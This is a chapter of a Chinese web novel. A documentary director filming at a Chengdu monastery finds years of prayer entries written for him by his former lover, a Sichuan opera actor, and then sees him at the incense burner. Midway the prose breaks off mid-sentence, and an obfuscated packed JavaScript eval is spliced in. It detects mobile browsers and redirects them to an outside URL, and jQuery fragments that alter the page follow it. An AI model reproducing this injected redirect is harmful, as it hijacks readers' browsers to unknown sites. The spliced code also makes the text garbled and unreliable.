十月的成都褪去了夏日的燥热，细雨如丝滴落在地上，晕开一片片深色的水痕。将整座城市笼罩在一层朦胧的水雾中。


    行道两侧的树叶子开始泛黄了，在雨水的浸润下显得鲜亮无比。


    陈声和团队来成都拍摄已经整整一个月了，纪录片的前期拍摄已经完成了大半。素材带整齐地码放在剪辑台上，每一盒都贴着详细的标签。


    桌上的台历被翻到了十月这一页，几个重要的拍摄日期被红笔圈了出来。最下方还记着一行小字：川剧院采访/10.15。


    三天后的安排。


    他和李霄川的接触仅限于工作场合。每次拍摄结束后，对方都会礼貌地道别，然后消失在后台的阴影里。


    就像两条平行线，明明近在咫尺，却始终保持着恰到好处的距离。


    清晨的文殊院笼罩在一层薄雾里，青灰色的石阶上还弥漫着潮气，铜铃在檐角轻轻摇晃，发出细碎的声响，仿佛是有人在低声诵经。


    陈声和蹲在藏经楼前的石阶上，调整着三脚架的高度，手指在相机屏幕上轻划，将曝光值调低一档。


    晨光太亮，会吃掉阴影里的细节，灰尘、香灰、经年累月的磨损，这些才是他想拍的


    “再暗一点，”他对灯光师说，“要能看见灰尘的光轨。”


    林瑶蹲在旁边，小声嘀咕：“陈导，要不我们换个方向拍？”


    陈声和没应声，他的目光透过取景框，落在远处那株古老的银杏树上。树很老了，枝干虬结，晨光穿过树叶的小缝隙，斑驳地洒在地面，仿佛丢了一地的碎银子。


    他轻轻按下快门，连续拍摄了几张，却总觉得少了点什么。


    少了点活气。


    年轻导演抿了抿唇，一手放在手腕上的那道浅疤。疤早就褪成了白色，摸上去微微凸起，像一条小小的山脊。


    “陈导，这个角度不行啊，换个角度试试？”老张也问。


    陈声和摇摇头，站起身，活动了一下因为蹲久发麻的膝盖。骨节发出轻微的咔响，他皱了皱眉，环顾四周。


    藏经楼斑驳的木门半开着，露出里面昏暗的光线；香炉里袅袅升起的青烟被晨风吹散；角落里几个早起的香客正低声交谈，声音压得很低，像是怕惊扰了神明。


    最终，他的视线落在了殿前的一张木桌上，那里摆着几本功德簿。桌腿有些歪斜，垫了张折起来的纸，大概是香客随手塞的。


    “再试试。”


    他走过去，随手拿起一本翻着看，这些是拍摄前提前商量好的，后期会做打码处理。


    功德簿的纸页已经破旧了，边缘卷曲，像是被无数人抚摸过。


    上面密密麻麻写满了香客的祈愿，大多是阖家平安、事业顺利之类的寻常愿望，字迹各异，有的工整，有的潦草，还有小孩子歪歪扭扭的笔画。


    陈声和漫不经心地翻着，直到某一页，他的手指猛地顿住。


    2020.9.28：SH平安，注意防护。


    他的眉心紧皱起来，呼吸微微一滞。


    那字迹很熟悉，锋利的笔锋，最后一笔几乎划破纸张，像是写字的人用了极大的力气。


    陈声和的手指轻轻擦过那行字，纸页的触感粗糙，墨迹已经有些褪色，又好像被谁的手指反复摩挲过。


    他继续翻到下一页。


    2021.9.28：SH平安，勿吃冰。


    冰字旁边有涂改的痕迹，原本似乎写的是辣，但被划掉了，改成了冰。


    陈声和的心脏猛地跳了一下，他可能是有点娇气，大学时吃辣吃到急性胃炎，后来医生叮嘱他少吃冰饮。


    继续往后……


    2022.9.28：SH平安，少熬夜。


    2023.9.28：SH平安，纪录片顺利。


    2024.9.28：SH平安，纪录片获奖。


    是他去年拿到的那个奖项。


    陈声和的手指有些控制不住地微微发抖。他合上功德簿，深吸了一口气，试图让自己冷静下来……


    但胸腔里的跳动却越来越快，像是有什么东西在狠狠撞击他的肋骨。殿外的铜铃又响了，这次声音很急，像是催促，又像是警告。


    “施主，那是还愿簿。”一道带着川音的温和声音从身后传来。


    陈声和转身时带起衣角，蹭到了供桌上的香灰。一位约莫二十出头的小沙弥正双手合十，僧袍袖口沾着些香火熏出的淡黄痕迹。


    “还愿簿？”他用拇指摩挲着钱包边缘已经起皮的皮革。


    “是嘞，”小沙弥向前半步，指节在薄薄的纸页上轻叩，“这本记录的是香客还愿的内容，大多是先前许的愿望实现了，都要回来记一笔。”


    殿外传来游客导游旗杆撞在香炉上的闷响。陈声和等那阵嘈杂过去才开口：“写这个的人……常来吗？”


    小沙弥捻着腕间褪色的木珠串：“每年这天必到，比庙里晨钟还准。”


    “这天？”


    “9月28日。”小沙弥笑了笑，“师父说这位施主捐的灯油钱，都够重塑半边菩萨金身了。”


    说完自觉失言，忙低头念了句佛号。


    陈声和喉咙发紧。他摸出钱包，从夹层里抽出一张钞票，想要捐进功德箱。可就在他打开钱包的瞬间，一张褪色的票根从里面滑了出来，轻飘飘地落在地上。


    他弯腰捡起，是一张川剧表演的票根。


    2020.9.27，那是他决定分手的前一天，也是李霄川以川剧演员身份正式登台的首场演出。


    他记得那天自己买了票，最终却没能走进剧场。


    殿外的风卷着几片金黄的银杏叶飘进来，其中一片轻轻擦过他的脚边。远处的钟声恰好在此时悠悠响起，回荡在晨光里，仿佛从很远很远的地方传来。


    林瑶的呼喊从放生池方向传来：“陈导！副导问要不要换个机位？”


    陈声和缓缓将票根塞回钱包，低声应道：“……好。”


    他最后看了一眼那本功德簿，轻轻放回原处。


    SH即声和……五年了，他还在写。


    ……


    拍摄藏经楼的大雄宝殿时，晨雾已经散了，只在青


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005870|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    石台阶上还残留着一些湿痕，光线也正正好。


    陈声和拧紧三脚架云台的旋钮，金属部件发出细微的咬合声。林瑶蹲在一旁收拾器材，动作麻利地将拍满的存储卡塞进防水盒。


    盒盖上贴着的标签引起他片刻恍惚……CH-SC-0928，这个从大学沿用至今的编号系统里，藏着只有那个人知道的密码。


    “陈导，要不要补拍个香炉的空镜？”林瑶的声音将他拉回现实。


    顺着她手指的方向，几位香客正将燃尽的香梗投入青铜香炉，灰白的烟絮缠绕着升向金黄的银杏树冠。


    他点了点头。


    工作人员调整三脚架，林瑶忽然“咦”了一声。


    陈声和没抬头，视线仍在监视器上检查画面：“怎么了？”


    “那个人……是不是李老师？”


    陈声和的手指顿在调焦环上，镜头里，一道修长身影踏入画面。


    李霄川穿着剧团的黑色练功服，袖口挽到手肘，露出的手臂线条紧实，隐约可见几道旧伤痕。


    他手里捏着三根线香，面前的香头明灭的红点在青烟中。


    陈声和觉得喉咙发痛。


    李霄川没有看到他。他站在香炉前，微微低头，眉眼在烟雾里显得模糊。香炉旁的老僧递上火折子，他接过，手指相触时礼貌地欠了欠身。


    还是那样，对谁都温和，对谁都疏离。


    陈声和不自觉地往后退了一些，整个人几乎要陷进摄像机投下的阴影里，好像这样就不会被发现了。


    林瑶凑近他耳边，气声问：“陈导，拍不拍？”


    他喉结动了动，声音有点发紧：“……拍。”


    老张已经亲自扛起了机器，边调焦边喃喃自语：“这画面太灵了……黑色练功服衬着香炉，果然最打动人心的镜头，都是不经意间得来的。”


    监视器屏幕里，李霄川正将线香凑近火苗。香头忽地亮起，一缕青烟袅袅升起。他合掌的姿势标准得像刻在骨子里，重复了无数次。


    陈声和听见自己干巴巴的声音：“轻点儿……别打扰他。”


    推近的镜头里，李霄川的嘴唇轻轻开合，然后，陈声和听到了……粤语？


    “一炷敬天地……”


    生硬的粤语发音，带着明显的川音腔调，却一字一顿认真得近乎执拗。


    这是潮汕人拜神的起式，是某个深夜他在出租屋里一字一句教给李霄川的。那时李霄川总把安康说成昂康，惹得他笑倒在对方肩上。


    一炷敬天地，二炷谢神明，三炷祈安康，烟火升腾愿皆圆……


    香炉里青烟袅袅升起，李霄川突然转头，目光穿过缭绕的烟雾，直直撞进镜头后的陈声和眼里。


    感觉空气突然就变得黏糊糊了，让人觉得呼吸一口都是压力。


    李霄川指间的香微微一顿，香灰簌簌落进铜炉里，在积灰上烫出三个细小凹坑。他不动声色地收拢手指。


    另一头，陈声和整个人僵在原地。摄像机还举在胸前，连镜头盖都忘了摘。这哪是在拍摄，分明是个习惯性的防御姿势。